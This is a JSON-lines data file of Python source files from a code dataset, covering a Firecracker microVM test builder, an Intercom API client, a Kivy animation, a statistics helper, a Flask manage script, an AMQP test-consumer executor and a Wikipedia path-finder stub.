+{"seq_id":"306258684","text":"# Copyright 2020 Amazon.com, Inc. or its affiliates. All Rights Reserved.\n# SPDX-License-Identifier: Apache-2.0\n\"\"\"Define some helpers methods to create microvms from artifacts.\"\"\"\n\nimport json\nimport os\nimport shutil\nimport tempfile\nfrom pathlib import Path\n\nimport host_tools.logging as log_tools\nfrom framework import utils\nfrom framework.artifacts import (\n Artifact,\n ArtifactCollection,\n DiskArtifact,\n NetIfaceConfig,\n Snapshot,\n SnapshotMemBackendType,\n SnapshotType,\n)\nfrom framework.defs import DEFAULT_TEST_SESSION_ROOT_PATH, _test_images_s3_bucket\nfrom framework.microvm import Microvm\n\n\nclass VmInstance:\n \"\"\"A class that describes a microvm instance resources.\"\"\"\n\n def __init__(self, config, kernel, disks, ssh_key, vm):\n \"\"\"Initialize a Vm configuration based on artifacts.\"\"\"\n self._config = config\n self._kernel = kernel\n self._disks = disks\n self._ssh_key = ssh_key\n self._vm = vm\n\n @property\n def config(self):\n \"\"\"Return machine config artifact.\"\"\"\n return self._config\n\n @property\n def kernel(self):\n \"\"\"Return the kernel artifact.\"\"\"\n return self._kernel\n\n @property\n def disks(self):\n \"\"\"Return an array of block file paths.\"\"\"\n return self._disks\n\n @property\n def ssh_key(self):\n \"\"\"Return ssh key artifact linked to the root block device.\"\"\"\n return self._ssh_key\n\n @property\n def vm(self):\n \"\"\"Return the Microvm object instance.\"\"\"\n return self._vm\n\n\nclass MicrovmBuilder:\n \"\"\"Build fresh microvms or restore from snapshot.\"\"\"\n\n ROOT_PREFIX = \"fctest-\"\n\n _root_path = None\n\n def __init__(self, bin_cloner_path):\n \"\"\"Initialize microvm root and cloning binary.\"\"\"\n self.bin_cloner_path = bin_cloner_path\n self.init_root_path()\n\n @property\n def root_path(self):\n \"\"\"Return the root path of the microvm.\"\"\"\n return self._root_path\n\n def init_root_path(self):\n \"\"\"Initialize microvm root path.\"\"\"\n self._root_path = tempfile.mkdtemp(\n prefix=MicrovmBuilder.ROOT_PREFIX, dir=f\"{DEFAULT_TEST_SESSION_ROOT_PATH}\"\n )\n\n def build(\n self,\n kernel: Artifact,\n disks: [DiskArtifact],\n ssh_key: Artifact,\n config: Artifact,\n net_ifaces=None,\n diff_snapshots=False,\n cpu_template=None,\n fc_binary=None,\n jailer_binary=None,\n use_ramdisk=False,\n smt=None,\n daemonize=True,\n io_engine=None,\n monitor_memory=True,\n ):\n \"\"\"Build a fresh microvm.\"\"\"\n vm = Microvm(\n self.root_path,\n fc_binary_path=fc_binary,\n jailer_binary_path=jailer_binary,\n bin_cloner_path=self.bin_cloner_path,\n monitor_memory=monitor_memory,\n )\n vm.jailer.daemonize = daemonize\n # Start firecracker.\n vm.spawn(use_ramdisk=use_ramdisk)\n\n # Link the microvm to kernel, rootfs, ssh_key artifacts.\n vm.kernel_file = kernel.local_path()\n vm.rootfs_file = disks[0].local_path()\n # copy rootfs to ramdisk if needed\n jailed_rootfs_path = (\n vm.copy_to_jail_ramfs(vm.rootfs_file)\n if use_ramdisk\n else vm.create_jailed_resource(vm.rootfs_file)\n )\n\n # Download ssh key into the microvm root.\n ssh_key.download(vm.path)\n vm.ssh_config[\"ssh_key_path\"] = ssh_key.local_path()\n os.chmod(vm.ssh_config[\"ssh_key_path\"], 0o400)\n\n # Provide a default network configuration.\n if net_ifaces is None or len(net_ifaces) == 0:\n ifaces = [NetIfaceConfig()]\n else:\n ifaces = net_ifaces\n\n # Configure network interfaces using artifacts.\n for iface in ifaces:\n vm.create_tap_and_ssh_config(\n host_ip=iface.host_ip,\n guest_ip=iface.guest_ip,\n netmask_len=iface.netmask,\n tapname=iface.tap_name,\n )\n response = vm.network.put(\n iface_id=iface.dev_name,\n host_dev_name=iface.tap_name,\n guest_mac=iface.guest_mac,\n )\n assert vm.api_session.is_status_no_content(response.status_code)\n\n with open(config.local_path(), encoding=\"utf-8\") as microvm_config_file:\n microvm_config = json.load(microvm_config_file)\n\n vm.basic_config(\n add_root_device=False, boot_args=\"console=ttyS0 reboot=k panic=1\"\n )\n\n # Add the root file system with rw permissions.\n response = vm.drive.put(\n drive_id=\"rootfs\",\n path_on_host=jailed_rootfs_path,\n is_root_device=True,\n is_read_only=False,\n io_engine=io_engine,\n )\n assert vm.api_session.is_status_no_content(response.status_code), response.text\n\n # Apply the microvm artifact configuration and template.\n response = vm.machine_cfg.put(\n vcpu_count=int(microvm_config[\"vcpu_count\"]),\n mem_size_mib=int(microvm_config[\"mem_size_mib\"]),\n smt=smt,\n track_dirty_pages=diff_snapshots,\n cpu_template=cpu_template,\n )\n if monitor_memory:\n vm.memory_monitor.guest_mem_mib = microvm_config[\"mem_size_mib\"]\n assert vm.api_session.is_status_no_content(response.status_code)\n\n vm.vcpus_count = int(microvm_config[\"vcpu_count\"])\n\n return VmInstance(config, kernel, disks, ssh_key, vm)\n\n # This function currently returns the vm and a metrics_fifo which\n # is needed by the performance integration tests.\n # TODO: Move all metrics functionality to microvm (encapsulating the fifo)\n # so we do not need to move it around polluting the code.\n def build_from_snapshot(\n self,\n snapshot: Snapshot,\n vm=None,\n resume=False,\n # Enable incremental snapshot capability.\n diff_snapshots=False,\n use_ramdisk=False,\n fc_binary=None,\n jailer_binary=None,\n daemonize=True,\n # If None, it means that the guest memory is\n # backed by a file.\n # If specified, establishes that page-faults\n # resulted when loading the guest memory\n # are handled by a dedicated UFFD PF handler.\n uffd_path=None,\n timeout=None,\n ):\n \"\"\"Build a microvm from a snapshot artifact.\"\"\"\n if vm is None:\n vm = Microvm(\n self.root_path,\n fc_binary_path=fc_binary,\n jailer_binary_path=jailer_binary,\n bin_cloner_path=self.bin_cloner_path,\n )\n vm.jailer.daemonize = daemonize\n vm.spawn(log_level=\"Error\", use_ramdisk=use_ramdisk)\n vm.api_session.untime()\n\n metrics_file_path = os.path.join(vm.path, \"metrics.log\")\n metrics_fifo = log_tools.Fifo(metrics_file_path)\n response = vm.metrics.put(\n metrics_path=vm.create_jailed_resource(metrics_fifo.path)\n )\n assert vm.api_session.is_status_no_content(response.status_code)\n\n # Hardlink all the snapshot files into the microvm jail.\n jailed_mem = (\n vm.copy_to_jail_ramfs(snapshot.mem)\n if use_ramdisk\n else vm.create_jailed_resource(snapshot.mem)\n )\n jailed_vmstate = (\n vm.copy_to_jail_ramfs(snapshot.vmstate)\n if use_ramdisk\n else vm.create_jailed_resource(snapshot.vmstate)\n )\n\n assert len(snapshot.disks) > 0, \"Snapshot requires at least one disk.\"\n _jailed_disks = []\n for disk in snapshot.disks:\n _jailed_disks.append(\n vm.copy_to_jail_ramfs(disk)\n if use_ramdisk\n else vm.create_jailed_resource(disk)\n )\n\n vm.ssh_config[\"ssh_key_path\"] = snapshot.ssh_key.local_path()\n\n # Create network interfaces.\n for iface in snapshot.net_ifaces:\n vm.create_tap_and_ssh_config(\n host_ip=iface.host_ip,\n guest_ip=iface.guest_ip,\n netmask_len=iface.netmask,\n tapname=iface.tap_name,\n )\n\n full_fc_version = vm.version.get_from_api().json()[\"firecracker_version\"]\n if utils.compare_dirty_versions(full_fc_version, \"1.0.0\") > 0:\n if uffd_path:\n mem_backend = {\"type\": SnapshotMemBackendType.UFFD, \"path\": uffd_path}\n else:\n mem_backend = {\"type\": SnapshotMemBackendType.FILE, \"path\": jailed_mem}\n response = vm.snapshot.load(\n mem_backend=mem_backend,\n snapshot_path=jailed_vmstate,\n diff=diff_snapshots,\n resume=resume,\n timeout=timeout,\n )\n else:\n response = vm.snapshot.load(\n mem_file_path=jailed_mem,\n snapshot_path=jailed_vmstate,\n diff=diff_snapshots,\n resume=resume,\n timeout=timeout,\n )\n status_ok = vm.api_session.is_status_no_content(response.status_code)\n\n # Verify response status and cleanup if needed before assert.\n if not status_ok:\n # Destroy VM here before we assert.\n vm.kill()\n del vm\n\n assert status_ok, response.text\n\n # Return a resumed microvm.\n return vm, metrics_fifo\n\n def build_from_artifacts(\n self,\n config,\n kernel,\n disks,\n cpu_template,\n net_ifaces=None,\n diff_snapshots=False,\n fc_binary=None,\n jailer_binary=None,\n daemonize=True,\n io_engine=None,\n ):\n \"\"\"Spawns a new Firecracker and applies specified config.\"\"\"\n artifacts = ArtifactCollection(_test_images_s3_bucket())\n # Pick the first artifact in the set.\n config = artifacts.microvms(keyword=config)[0]\n kernel = artifacts.kernels(keyword=kernel)[0]\n disks = artifacts.disks(keyword=disks)\n config.download()\n kernel.download()\n attached_disks = []\n for disk in disks:\n disk.download()\n attached_disks.append(disk.copy())\n\n # SSH key is attached to root disk artifact.\n # Builder will download ssh key in the VM root.\n ssh_key = disks[0].ssh_key()\n # Create a fresh microvm from artifacts.\n return self.build(\n kernel=kernel,\n disks=attached_disks,\n ssh_key=ssh_key,\n config=config,\n net_ifaces=net_ifaces,\n diff_snapshots=diff_snapshots,\n cpu_template=cpu_template,\n fc_binary=fc_binary,\n jailer_binary=jailer_binary,\n daemonize=daemonize,\n io_engine=io_engine,\n )\n\n def build_vm_nano(self, **kwargs):\n \"\"\"Create a clean VM in an initial state.\"\"\"\n return self.build_from_artifacts(\n \"2vcpu_256mb\", \"vmlinux-4.14\", \"ubuntu-18.04\", None, **kwargs\n )\n\n def cleanup(self):\n \"\"\"Clean up this builder context.\"\"\"\n if self._root_path:\n shutil.rmtree(self._root_path, ignore_errors=True)\n\n def __del__(self):\n \"\"\"Teardown the object.\"\"\"\n self.cleanup()\n\n\nclass SnapshotBuilder: # pylint: disable=too-few-public-methods\n \"\"\"Create a snapshot from a running microvm.\"\"\"\n\n def __init__(self, microvm):\n \"\"\"Initialize the snapshot builder.\"\"\"\n self._microvm = microvm\n\n def create_snapshot_dir(self):\n \"\"\"Create dir and files for saving snapshot state and memory.\"\"\"\n chroot_path = self._microvm.jailer.chroot_path()\n snapshot_dir = os.path.join(chroot_path, \"snapshot\")\n Path(snapshot_dir).mkdir(parents=True, exist_ok=True)\n cmd = \"chown {}:{} {}\".format(\n self._microvm.jailer.uid, self._microvm.jailer.gid, snapshot_dir\n )\n utils.run_cmd(cmd)\n return snapshot_dir\n\n def create(\n self,\n disks,\n ssh_key: Artifact,\n snapshot_type: SnapshotType = SnapshotType.FULL,\n target_version: str = None,\n mem_file_name: str = \"vm.mem\",\n snapshot_name: str = \"vm.vmstate\",\n net_ifaces=None,\n use_ramdisk=False,\n ):\n \"\"\"Create a Snapshot object from a microvm and artifacts.\"\"\"\n if use_ramdisk:\n snaps_dir = self._microvm.jailer.chroot_ramfs_path()\n mem_full_path = os.path.join(snaps_dir, mem_file_name)\n vmstate_full_path = os.path.join(snaps_dir, snapshot_name)\n\n memsize = self._microvm.machine_cfg.configuration[\"mem_size_mib\"]\n # Pre-allocate ram for memfile to eliminate allocation variability.\n utils.run_cmd(\n \"dd if=/dev/zero of={} bs=1M count={}\".format(mem_full_path, memsize)\n )\n cmd = \"chown {}:{} {}\".format(\n self._microvm.jailer.uid, self._microvm.jailer.gid, mem_full_path\n )\n utils.run_cmd(cmd)\n else:\n snaps_dir = self.create_snapshot_dir()\n mem_full_path = os.path.join(snaps_dir, mem_file_name)\n vmstate_full_path = os.path.join(snaps_dir, snapshot_name)\n\n snaps_dir_name = os.path.basename(snaps_dir)\n self._microvm.pause_to_snapshot(\n mem_file_path=os.path.join(\"/\", snaps_dir_name, mem_file_name),\n snapshot_path=os.path.join(\"/\", snaps_dir_name, snapshot_name),\n diff=snapshot_type == SnapshotType.DIFF,\n version=target_version,\n )\n\n # Create a copy of the ssh_key artifact.\n ssh_key_copy = ssh_key.copy()\n return Snapshot(\n mem=mem_full_path,\n vmstate=vmstate_full_path,\n # TODO: To support more disks we need to figure out a\n # simple and flexible way to store snapshot artifacts\n # in S3. This should be done in a PR where we add tests\n # that resume from S3 snapshot artifacts.\n disks=disks,\n net_ifaces=net_ifaces or [NetIfaceConfig()],\n ssh_key=ssh_key_copy,\n )\n","sub_path":"tests/framework/builder.py","file_name":"builder.py","file_ext":"py","file_size_in_byte":14260,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"}
+{"seq_id":"47002591","text":"# -*- coding: utf-8 -*-\n#\n# Created on 1/25/17 by maersu\nimport json\nfrom django.conf import settings\nfrom django.utils import translation\nimport requests\nimport logging\nfrom django.template.loader import render_to_string\nfrom core.utils import random_id, get_timestamp_now\nfrom intercom.client import Client\n\nlogger = logging.getLogger(__name__)\n\n\nclass IntercomApi(object):\n @staticmethod\n def get_client():\n return Client(personal_access_token=settings.INTERCOM_ACCESS_TOKEN)\n\n @classmethod\n def post_raw(cls, url, data):\n return requests.post(\n url,\n data=json.dumps(data),\n headers={\n 'Content-Type': 'application/json',\n 'Accept': 'application/json',\n 'Authorization': 'Bearer %s' % settings.INTERCOM_ACCESS_TOKEN\n }\n )\n\n @classmethod\n def post_user(cls, user):\n \"\"\"\n create or updates intercom\n \"\"\"\n\n if not user.id:\n # intercom needs a user ID to save\n return\n\n custom_attributes = {\n \"last_city\": getattr(user, 'city', getattr(user, 'last_city', None)),\n \"language\": user.language,\n \"newsletter\": user.newsletter,\n \"gender\": user.salutation,\n \"salutation_de\": u\"Liäbi\" if user.salutation == \"w\" else u\"Liäbä\"\n }\n\n if hasattr(user, 'custom_attributes'):\n custom_attributes.update(user.custom_attributes)\n\n params = dict(\n email=user.email,\n name=user.get_full_name(),\n phone=user.get_phone(),\n signed_up_at=get_timestamp_now(),\n custom_attributes=custom_attributes\n )\n\n # multiple users can have the same intercom user so use the intercom_id if possible\n if user.intercom_id:\n params['id'] = user.intercom_id\n else:\n params['user_id'] = user.id\n\n logger.info('post_user %s' % params)\n\n if not settings.INTERCOM_ACCESS_TOKEN:\n return random_id()\n\n try:\n u = cls.get_client().users.create(**params)\n user_tags = [t.name for t in getattr(u, 'tags', [])]\n\n # tagging user\n if user.categories:\n for c in set(user.categories) - set(user_tags):\n cls.tags(c, [{'id': user.intercom_id}] if user.intercom_id else [{'user_id': user.id}])\n\n # Untagging would also delete manual given tags ...\n #\n # untag = set(user_tags) - set(user.categories)\n # else:\n # untag = user_tags\n # untag obsolete tags\n # for c in untag:\n # cls.tags(c, [{'id': user.intercom_id, \"untag\": True}] if user.intercom_id else [\n # {'user_id': user.id, \"untag\": True}])\n\n return getattr(u, 'id', None)\n except:\n logger.exception('could not save user')\n\n @classmethod\n def get_user(cls, user_id):\n return cls.get_client().users.find(user_id=user_id)\n\n @classmethod\n def get_user_events(cls, user_id):\n logger.info('get_user_events %s' % user_id)\n if not settings.INTERCOM_ACCESS_TOKEN:\n return []\n\n return [\n {\n 'event_name': e.event_name,\n 'created_at': get_timestamp_now(e.created_at),\n 'user_id': e.user_id,\n }\n for e in cls.get_client().events.find_all(type='user', user_id=user_id)\n ]\n\n @classmethod\n def delete_user(cls, user_id):\n logger.info('delete_user %s' % user_id)\n if not settings.INTERCOM_ACCESS_TOKEN:\n return\n\n try:\n client = cls.get_client()\n client.users.delete(\n client.users.find(user_id=user_id)\n )\n except:\n logger.exception('could not delete user')\n\n @classmethod\n def merge_users(cls, base_user, others, force=False):\n \"\"\"\n merges all intercom users into the oldest user\n messages are not merged :(\n\n no need to INTERCOM_ACCESS_TOKEN as there is no direct call to intercom\n\n :param base_user:\n :param others:\n :return:\n \"\"\"\n\n try:\n new_events = []\n new_custom_attributes = {}\n obsolete_users = []\n\n for user in others:\n # skip already merged users (if it's not forced)\n if not force and user.intercom_id == base_user.intercom_id:\n continue\n\n try:\n intercom_user = IntercomApi.get_user(user_id=user.id)\n events = IntercomApi.get_user_events(user.id)\n new_custom_attributes.update(intercom_user.custom_attributes)\n\n for e in events:\n e['user_id'] = base_user.id\n new_events.append(e)\n\n obsolete_users.append(user)\n\n except Exception:\n logger.exception('%s: %s' % (user.id, e))\n\n if obsolete_users:\n # that's a hack. so the post signal users overwrites all custom attributes\n base_user.custom_attributes = new_custom_attributes\n\n # update base user\n base_user_intercom_id = IntercomApi.post_user(base_user)\n IntercomApi.bulk_events(new_events)\n\n # clean up obsolete intercom users\n for u in obsolete_users:\n u.intercom_id = base_user.intercom_id\n u.save()\n IntercomApi.delete_user(u.id)\n\n from core.models import CommonLog\n CommonLog.create_log('merge intercom users', data={\n 'base_user_id': base_user.id,\n 'base_user_intercom_id': intercom_user.id,\n 'obsolete_users': [u.id for u in obsolete_users],\n 'migrated_events': len(new_events)\n })\n\n except:\n logger.exception('could not merge users')\n\n @classmethod\n def tags(cls, tag, users_dict_list):\n \"\"\"\n\n :param tag:\n :param users_dict_list: a list with user objects (https://developers.intercom.com/v2.0/reference#tag-or-untag-users-companies-leads-contacts)\n :return:\n \"\"\"\n logger.info('tags %s (%s)' % (tag, len(users_dict_list)))\n if not settings.INTERCOM_ACCESS_TOKEN:\n return\n\n try:\n r = cls.post_raw('https://api.intercom.io/tags', {\"name\": tag, \"users\": users_dict_list})\n if not (200 <= r.status_code <= 299):\n logger.error('could not create tags: %s' % getattr(r, 'text', r))\n except:\n logger.exception('could not create tags')\n\n @classmethod\n def bulk_events(cls, event_list):\n logger.info('bulk_events (%s)' % len(event_list))\n if not settings.INTERCOM_ACCESS_TOKEN:\n return\n\n try:\n r = cls.post_raw(\n 'https://api.intercom.io/bulk/events',\n {\n \"items\": [\n {\n \"method\": \"post\",\n \"data_type\": \"event\",\n \"data\": e} for e in event_list\n ]\n }\n )\n if not (200 <= r.status_code <= 299):\n logger.error('could not create events: %s' % getattr(r, 'text', r))\n except:\n logger.exception('could not create events')\n\n @classmethod\n def send_email(cls, subject, user, template, context, from_id=settings.INTERCOM_FROM_ID):\n context['host'] = settings.HOST_NAME\n context['first_name'] = user.first_name\n\n current_language = translation.get_language()\n try:\n translation.activate(user.language)\n body = render_to_string(template, context)\n finally:\n translation.activate(current_language)\n\n logger.info(u'send_email: %s - %s' % (user.id, subject))\n\n if not settings.INTERCOM_ACCESS_TOKEN:\n logger.info(u'%s' % body)\n return\n\n if not settings.INTERCOM_API_ID:\n raise Exception('Could send email - Intercom Application ID not defined')\n\n try:\n cls.get_client().messages.create(**{\n \"message_type\": \"email\",\n \"subject\": '%s' % subject,\n \"body\": body,\n \"template\": \"personal\",\n \"from\": {\n \"type\": \"admin\",\n \"id\": from_id\n },\n \"to\": {\n \"type\": \"user\",\n \"user_id\": user.id,\n }\n })\n except:\n logger.exception('Could send email')\n\n @classmethod\n def post_lead(cls, params):\n logger.info('post lead %s' % params)\n if not settings.INTERCOM_ACCESS_TOKEN:\n return\n\n try:\n return cls.post_raw('https://api.intercom.io/contacts', params)\n except:\n logger.exception('could not post lead')\n","sub_path":"server/core/externals/intercom.py","file_name":"intercom.py","file_ext":"py","file_size_in_byte":9207,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"}
+{"seq_id":"383980557","text":"import kivy\nfrom kivy.core.window import Window\nfrom kivy.uix.widget import Widget\nfrom kivy.uix.boxlayout import BoxLayout\nfrom kivy.clock import Clock\nfrom kivy.graphics import Line, Rectangle, Color \nfrom kivy.app import App\nimport random\nfrom random import randint, uniform\n\n_WINDOW_HEIGHT = 500\n_WINDOW_WIDTH = 640\n\n\nclass Root(BoxLayout):\n\tdef __init__(self,**kwargs):\n\t\tsuper(Root, self).__init__(**kwargs)\n\t\tfor i in range(0,500):\n\t\t\tself.add_widget(Rain())\n\n\nclass Rain(Widget):\n\tdef __init__(self, **kwargs):\n\t\tsuper(Rain, self).__init__(**kwargs)\n\t\t\n\t\tself.xone = 0\n\t\tself.yone = 0\n\t\tself.xtwo = 0\n\t\tself.ytwo = 0\n\t\tself.opa = 1\n\t\tself.r = 0.686\n\t\tself.g = 0.027\n\t\tself.b = 0.6\n\t\tself.random_y()\n\t\tself.random_x()\n\t\tself.random_opa()\n\t\t\n\t\twith self.canvas:\n\t\t\tColor(self.r,self.g,self.b,self.opa, mode='rgb')\n\t\t\tself.line = Line(points=[self.xone, self.yone, self.xtwo, self.ytwo],width=3)\n\t\n\t\tevent = Clock.schedule_interval(self.redraw_line, 1/30)\n\t\tevent = Clock.schedule_interval(self.move_drops, 1/30)\t\t\n\t\t\n\tdef redraw_line(self, *args):\n\t\tif self.yone <= 0:\n\t\t\tself.random_y()\n\t\tself.line.points = [self.xone, self.yone, self.xtwo, self.ytwo]\n\t\t\n\t\t\n\tdef random_y(self):\n\t\tpos = randint(650,1200)\n\t\theight = randint(5,15)\n\t\tself.yone = pos\n\t\tself.ytwo = pos - height\n\t\n\tdef random_x(self):\n\t\txpos = randint(0,600)\n\t\tself.xone = xpos \n\t\tself.xtwo = xpos\t\n\t\t\n\tdef move_drops(self, *args):\n\t\tspeed = randint(8,25)\n\t\tself.yone -= speed\n\t\tself.ytwo -= speed\n\t\t\n\tdef random_width(self):\n\t\tself.width = uniform(0,2)\n\t\n\tdef random_opa(self):\n\t\tself.opa = uniform(0,1)\n\t\tself.opa = round(self.opa,2)\n\t\t\n\t\n\t\nclass PurpleRain(App):\n\tdef build(self):\n\t\tWindow.size=(_WINDOW_HEIGHT,_WINDOW_WIDTH) \n\t\treturn Root()\n\n\n\n\t\t\nif __name__ == '__main__':\n\tPurpleRain().run()\n","sub_path":"Kivy/purplerain.py","file_name":"purplerain.py","file_ext":"py","file_size_in_byte":1770,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"}
+{"seq_id":"67750393","text":"import numpy\n\ndef mad(data, axis=None, side=None):\n '''Median Absolute Distance function with left and right side option.'''\n sided = {'l': lambda x: x[x <= numpy.median(x)],\n 'r': lambda x: x[x >= numpy.median(x)],\n None: lambda x: x}\n\n data = numpy.array(data)\n if side in sided.keys():\n d = sided[side](data)\n else:\n raise Exception(\"ERROR: please enter 'l', 'r', or None\")\n return numpy.median(numpy.absolute(d - numpy.median(d, axis)), axis)\n","sub_path":"utility/mad.py","file_name":"mad.py","file_ext":"py","file_size_in_byte":503,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"}
+{"seq_id":"329621751","text":"from flask_script import Manager\nfrom aplicacion.index import app, db\nfrom aplicacion.models import *\n\nmanager = Manager(app)\napp.config['DEBUG'] = True\napp.config['SEND_FILE_MAX_AGE_DEFAULT'] = 0\n#app.config['SECRET_KEY'] = \"A0Zr98j/3yX R~XHH!jmN]LWX/,?RT\"\n\n@manager.command\ndef create_tables():\n \"Create relational database table\"\n db.create_all()\n\n@manager.command\ndef drop_tables():\n \"drop relational database table\"\n db.drop_all()\n \nif __name__ == \"__main__\":\n manager.run()","sub_path":"manage.py","file_name":"manage.py","file_ext":"py","file_size_in_byte":498,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"}
+{"seq_id":"440278664","text":"# -*- coding: utf-8 -*-\n\nimport json\nimport time\nimport datetime\nimport amqp\nimport kombu\nimport kombu.exceptions\n\nfrom typing import NoReturn, Sequence, Dict, List, Optional\nfrom kombu.mixins import ConsumerMixin\n\nfrom .bench import TestBench\nfrom .. import TestContext\nfrom ..events import TestEventHandler, TestCaseStartedEvent, TestCaseStoppedEvent\nfrom ..consumer import BaseTestConsumer\nfrom ..concurrent import TestRunnerProcess, get_testrunner_params\nfrom ..context import current_context\nfrom ..case import TestCase\nfrom ..assertions import ErrorInfo\n\nimport logging\nlogger = logging.getLogger(__name__)\n\n\nclass AmqpTestConsumer(BaseTestConsumer, ConsumerMixin):\n def __init__(self,\n url: str,\n queues, passive: bool = False,\n auto_stop: bool = False,\n *args, **kwargs\n ) -> NoReturn:\n super().__init__(*args, **kwargs)\n self.connection = kombu.Connection(url)\n\n self._queues = []\n self.auto_stop: bool = auto_stop\n self.is_busy: bool = False\n\n # It would hand up when calling queue.maybe_bind directly if not connected.\n # To fix this issue, connect first, then bind queue and finally close the connection.\n self.connection.connect()\n try:\n for data in queues:\n if isinstance(data, str):\n queue = kombu.Queue(data, auto_delete=False)\n else:\n name, options = data\n queue = kombu.Queue.from_dict(name, **options)\n queue.maybe_bind(self.connection)\n queue.queue_declare(passive=passive)\n queue.queue_bind()\n self._queues.append(queue)\n finally:\n self.connection.close()\n\n def _consume(self):\n ConsumerMixin.run(self)\n\n def get_consumers(self, consumer_cls, channel):\n consumer = consumer_cls(self._queues, callbacks=[self.on_message], accept=['json'], auto_declare=False)\n consumer.qos(prefetch_count=1)\n return [consumer]\n\n def on_iteration(self) -> NoReturn:\n if self.auto_stop:\n empty = []\n for queue in self._queues:\n try:\n ret = queue.queue_declare(passive=True)\n if ret.message_count == 0:\n logger.debug(\"%s is empty.\", queue)\n empty.append(queue)\n except (amqp.ConsumerCancelled, amqp.NotFound) as err:\n logger.error(err)\n if len(empty) == len(self._queues):\n logger.debug(\"All queues in consumer are empty, exiting.\")\n self.should_stop = True\n\n def on_message(self, body, message) -> NoReturn:\n logger.debug(\"RECEIVE MESSAGE: %s\", body)\n self.is_busy = True\n try:\n data = json.loads(body) if isinstance(body, (str, bytes)) else body\n except Exception as err:\n message.reject()\n logger.error(err)\n else:\n try:\n self.load_and_test(data)\n except LookupError as err:\n message.reject()\n logger.exception(err)\n\n # notify lookup testcase failed.\n context = current_context()\n testcase = TestCase('',\n id=data['id'],\n name=data.get('name', None),\n parameters=data.get('parameters', None),\n is_prerequisite=data.get('is_prerequisite', False),\n enable_mock=data.get('enable_mock', False))\n testcase.record.path = data['path']\n testcase.record.started_at = datetime.datetime.now()\n testcase.record.bench_name = context.testbench.name\n testcase.record.bench_type = context.testbench.type\n context.dispatch_event(TestCaseStartedEvent(testcase))\n testcase.record.status = TestCase.Record.Status.ERRONEOUS\n testcase.record.error = ErrorInfo(err)\n testcase.record.stopped_at = datetime.datetime.now()\n context.dispatch_event(TestCaseStoppedEvent(testcase))\n except KeyboardInterrupt:\n message.requeue()\n logger.error('KeyboardInterrupt!')\n self.abort()\n except Exception as err:\n message.reject()\n logger.error(err)\n else:\n message.ack()\n finally:\n self.is_busy = False\n if self.result.should_abort:\n self.should_stop = True # set ConsumerMixin.should_stop to true for exiting consumer.\n else:\n while self.result.should_pause:\n time.sleep(self.result.PAUSE_INTERVAL)\n\n\nclass AmqpTestConsumerProcess(TestRunnerProcess):\n def __init__(self,\n url: str,\n queues,\n passive: bool = False,\n auto_stop: bool = False,\n *args, **kwargs\n ) -> NoReturn:\n super().__init__(*args, **kwargs)\n self._url = url\n self._queues = queues\n self._passive = passive\n self._auto_stop = auto_stop\n params = get_testrunner_params(*args, **kwargs)\n context = params[\"context\"]\n self._bench_type = context.testbench.type if context.testbench else None\n\n def is_busy(self) -> Optional[bool]:\n try:\n return self._pipe(\"is_busy\")\n except TestRunnerProcess.PipeCallError:\n return None\n\n def _create_inner_testrunner(self) -> AmqpTestConsumer:\n return AmqpTestConsumer(self._url, self._queues, self._passive, self._auto_stop, **self.params)\n\n def as_dict(self) -> dict:\n return dict(\n pid=self.pid,\n name=self.name,\n url=self._url,\n queues=self._queues,\n is_stopped=self.is_stopped(),\n is_busy=self.is_busy(),\n bench_type=self._bench_type,\n )\n\n\nclass AmqpMultiProcessExecutor:\n BASE_QUEUE_TEMPLATE = \"bench.{}\"\n\n def __init__(self, url: str, topic: str, observers: Sequence[TestEventHandler] = None):\n self.url = url\n self.topic = topic\n self.observers = observers or []\n self.runners: Dict[str, AmqpTestConsumerProcess] = {}\n self.benches: Dict[str, TestBench] = {}\n\n def add_testbench(self, testbench: TestBench) -> None:\n self.benches[testbench.name] = testbench\n\n def dump_testbenches(self):\n return [bench.as_dict() for bench in self.benches.values()]\n\n def dump_testrunners(self):\n return [runner.as_dict() for runner in self.runners.values()]\n\n @classmethod\n def _get_queue_names(cls, testbench: TestBench = None) -> List[str]:\n queues = []\n type_name = testbench.type if testbench else 'none'\n common_queue_name = cls.BASE_QUEUE_TEMPLATE.format(type_name)\n\n if testbench.group:\n common_queue_name += \".{}\".format(testbench.group)\n\n queues.append(common_queue_name)\n\n for route in testbench.routes:\n queue_name = \".\".join((common_queue_name, route))\n queues.append(queue_name)\n return queues\n\n def _create_runners_by_testbench(self, testbench: TestBench):\n context = TestContext()\n context.testbench = testbench\n\n observers = []\n observers.extend(self.observers)\n for observer in observers:\n context.event_observable.attach(observer)\n\n queues = []\n for queue_name in self._get_queue_names(testbench):\n options = dict(exchange=self.topic, exchange_type='topic', exchange_durable=True,\n routing_key=queue_name, auto_delete=False)\n queue_data = [queue_name, options]\n queues.append(queue_data)\n\n process_count = testbench.workers\n for i in range(process_count):\n runner_name = '{}@{}-{}'.format(testbench.name, testbench.type, i)\n runner_proc = AmqpTestConsumerProcess(self.url, queues, id=runner_name, context=context)\n runner_proc.start()\n self.runners[runner_name] = runner_proc\n\n def start(self):\n for bench in self.benches.values():\n self._create_runners_by_testbench(bench)\n\n def stop(self, wait: bool = True) -> None:\n for runner in self.runners.values():\n logger.debug(\"Abort %s.\", runner)\n try:\n runner.abort()\n except runner.PipeCallError as err:\n logger.error(err)\n finally:\n if wait:\n runner.join()\n logger.info(\"Executor exit successfully.\")\n","sub_path":"ngta/agent/executor.py","file_name":"executor.py","file_ext":"py","file_size_in_byte":8880,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"}
+{"seq_id":"508798795","text":"\"\"\"\nPathfinder\n\nThis script sees if it is possible to reach Philosophy with limited steps (e.g 100 steps).\nThis includes Loop-Detection and Caching / writing to a Database.\nEach Article can be seen as a node pointing to its neighbour.\n\"\"\"\n\nfrom crawler import Crawler\n\n\ndef trace(article, random=False):\n C = Crawler(article, random=random)\n for c in C:\n print(c)\n return C.path\n\n# print(trace(\"Cat\"))\nprint(trace('', random=True))\n","sub_path":"path_finder.py","file_name":"path_finder.py","file_ext":"py","file_size_in_byte":448,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"}
